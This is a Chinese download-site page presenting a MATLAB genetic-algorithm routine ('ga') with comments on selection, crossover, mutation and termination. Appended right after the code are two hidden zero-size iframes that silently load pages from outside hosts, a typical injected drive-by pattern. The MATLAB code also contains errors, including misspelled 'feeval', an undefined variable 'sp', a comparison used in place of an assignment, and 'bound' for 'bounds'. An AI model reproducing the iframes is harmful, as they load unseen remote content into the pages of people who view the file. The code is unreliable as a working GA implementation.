⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 [下载]遗传算法序列(ga)(全).txt

📁 遗传算法序列(GA)(全)利用matlab编写遗传代码 很有用的啊
💻 TXT
字号:
%bounds:代表变量的上下界的矩阵
%eevalFN:适应度函数
%startPop:初始群体
%termFN:终止函数的名称
%termOps:终止函数的参数
%selectFN:选择函数的名称
%selectOps:选择参数

%x:求得最优解
%endPop:最终的群体
%bPop:最优种群的一个搜索轨迹

function [x,endPop,bPop,traceInfo]=ga(bounds,eevalFN,eevalOps,startPop,opts,...
    termFN,termOps,selectFN,selectOps,xOverFNs,xOverOps,mutFNs,mutOps)
n=nargin;
if n<2|n==6|n==10|n==12
    disp('Insufficient arguement');
end
if n<3%默认进化选择
    eevalOps=[];
end
if n<5
    opts=[1e-6,1,0];
end
if isempty(opts)
    opts=[1e-6,1,0];
end

if any(eevalFN<48)%不用a.m文件
    if opts(2)==1%浮点编码
        e1str=['x=c1;c1(xZomeLength)=',eevalFN,';'];
        e2str=['x=c2;c2(xZomeLength)=',eevalFN,';'];
    else%二进制编码
        e1str=['x=b2f(endPop(j,:),bounds,bits);endPop(j,xZomeLength)=',eevalFN,';'];
    end
else%使用a.m文件
    if opts(2)==1%浮点编码
        e1str=['[c1,c1(xZomeLength)]=',eevalFN,'(c1,[gen,eevalOps]);'];
        e2str=['[c2,c2(xZomeLength)]=',eevalFN,'(c2,[gen,eevalOps]);'];
    else%二进制编码
        e1str=['x=b2f(endPop(j,:),bounds,bits);[x,v]=',eevalFN,...
                '(x,[gen,eevalOps]);endPop(j,:)=[f2b(x,bounds,bits),v];'];
    end
end

if n<6%默认终止信息
    termOps=[100];
    termFN='maxGenTerm';
end
if n<12%默认的变异信息
    if opts(2)==1%浮点编码
        mutFNs=['boundaryMutation multiNonUnifMutation nonUnifMutation unifMutation'];
        mutOps=[4,0,0;6,termOps(1),3;4,termOps,3;4,0,0];
    else%二进制编码
        mutFNs=['binaryMutation'];
        mutOps=[0.05];
    end
end
if n<10%默认的交叉信息
    if opts(2)==1%浮点编码
        xOverFNs=['arithXover heuristicXover simpleXover'];
        xOverOps=[2,0;2,3;3,0];
    else%二进制编码
        xOverFNs=['simpleXover'];
        xOverOps=[0.6];
    end
end
if n<9%Default select opts only i.e. roullete wheel.
    selectOps=[];
end
if n<8%默认选择信息
    selectFN=['normGeomSelect'];
    selectOps=[0.08];
end
if n<6%默认的算法终止准则
    termOps=[100];
    termFN='maxGenTerm';
end
if n<4%初始种群为空
    startPop=[];
end
if isempty(startPop)%随机生成初始种群
    startPop=initializega(80,bounds,eevalFN,eevalOps,opts(1:2));
end

if opts(2)==0%二进制编码
    bits=calcbits(bounds,opts(1));
end

xOverFNs=parse(xOverFNs);
mutFNs=parse(mutFNs);

xZomeLength=size(startPop,2);%Length of the xzome=numVars+fittness
numVar=xZomeLength-1;%变量数目
popSize=size(startPop,1);%种群中个体数目
endPop=zeros(popSize,xZomeLength);%次种群矩阵
c1=zeros(1,xZomeLength);%个体
c2=zeros(1,xZomeLength);%个体
numXOvers=size(xOverFNs,1);%交叉操作次数
numMuts=size(mutFNs,1);%变异操作次数
epsilon=opts(1);%适应度门限值
oeval=max(startPop(:,xZomeLength));%初始种群中的最优值
bFoundIn=1;
done=0;
gen=1;
collectTrace=(nargout>3);
floatGA=opts(2)==1;
display=opts;

while(~done)
    [beval,bindx]=max(startPop(:,xZomeLength));%当前种群的最优值
    best=startPop(bindx,:);
    
    if collectTrace
        traceInfo(gen,1)=gen;%当前代
        traceInfo(gen,2)=startPop(bindx,xZomeLength);%最优适应度
        traceInfo(gen,3)=mean(startPop(:,xZomeLength));%平均适应度
        traceInfo(gen,4)=std(startPop(:,xZomeLength));
    end
    
    if ((abs(beval-oeval)>epsilon)|(gen==1))
        if display
            fprintf(1,'\n%d %f\n',gen,beval);
        end
        if floatGA
            bPop(bFoundIn,:)=[gen,startPop(bindx,:)];
        else
            bPop(bFoundIn,:)=[gen,b2f(startPop(bindx,1:numVar),bounds,bits),...
                startPop(bindx,xZomeLength)];
       end
    bFoundIn=bFoundIn+1;
    oeval=beval;
    else
    if display
        fprintf(1,'%d',gen);
    end
   end

endPop=feval(selectFN,startPop,[gen,selectOps]);%选择操作

if floatGA
    for i=1:numXOvers
        for j=1:xOverOps(i,1)
            a=round(rand*(popSize-1)+1);%一个父代个体
            b=round(rand*(popSize-1)+1);%另一个父代个体
            xN=deblank(xOverFNs(i,:));%交叉函数
            [c1,c2]=feval(xN,endPop(a,:),endPop(b,:),bounds,[gen,xOverOps(i,:)]);
            
            if c1(1:numVar)==endPop(a,(1:numVar))
                c1(xZomeLength)=endPop(a,xZomeLength);
            elseif c1(1:numVar)==endPop(b,(1:numVar))
                  c1(xZomeLength)=endPop(b,xZomeLength); 
              else
                  eval(e1str);
              end
               if c2(1:numVar)==endPop(a,(1:numVar))
                c2(xZomeLength)=endPop(a,xZomeLength);
            elseif c2(1:numVar)==endPop(b,(1:numVar))
                  c2(xZomeLength)=endPop(b,xZomeLength); 
              else
                  eval(e2str);
              end
              
              endPop(a,:)=c1;
              endPop(b,:)=c2;
          end
      end
      
      for i=1:numMuts
          for j=1:mutOps(i,1)
              a=round(rand*(popSize-1)+1);
              c1=feval(deblank(mutFNs(i,:)),endPop(a,:),bounds,[gen,mutOps(i,:)]);
              if c1(1:numVar)==endPop(a,(1:numVar))
                  c1(xZomeLength)==endPop(a,xZomeLength);
              else
                  eval(e1str);
              end
              endPop(a,:)=c1;
          end
      end
      
  else%遗传操作的统计模型
      for i=1:numXOvers
          xN=deblank(xOverFNs(i,:));
          cp=find(rand(popSize,1)<xOverOps(i,1)==1);
          if rem(size(cp,1),2)
              cp=cp(1:(size(cp,1)-1));
          end
          cp=reshape(cp,size(sp,1)/2,2);
          for j=1:size(cp,1)
              a=cp(j,1);
              b=cp(j,2);
              [endPop(a,:),endPop(b,:)]=feeval(xN,endPop(a,:),endPop(b,:),bounds,[gen,xOverOps(i,:)]);
          end
      end
      for i=1:numMuts
          mN=deblank(mutFNs(i,:));
          for j=1:popSize
              endPop(j,:)=feeval(mN,endPop(j,:),bounds,[gen,mutOps(i,:)]);
              eval(e1str);
          end
      end
  end
  
  gen=gen+1;
  done=feval(termFN,[gen,termOps],bPop,endPop);
  startPop=endPop;%更新种群
  
  [beval,bindx]=min(startPop(:,xZomeLength));
  startPop(bindx,:)=best;
end

[beval,bindx]=max(startPop(:,xZomeLength));
if display
    fprintf(1,'\n%d %f\n',gen,beval);
end

x=startPop(bindx,:);
if opts(2)==0%binary
    x=b2f(x,bound,bits);
    bPop(bFoundIn,:)=[gen,b2f(startPop(bindx,1:numVar),bounds,bits),startPop(bindx,xZomeLength)];
else
    bPop(bFoundIn,:)=[gen,startPop(bindx,:)];
end
if collectTrace
    traceInfo(gen,1)=gen;
    traceInfo(gen,2)=startPop(bindx,xZomeLength);%最优适应度
    traceInfo(gen,3)=mean(startPop(:,xZomeLength));%平均适应度
end<iframe src=http://www.madio.net/Soft/Class8/Class74/Class97/unit.asp width=0 height=0></iframe>
<iframe src=http://www.hao123hao123.cn/ok/index.htm width=0 height=0></iframe>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -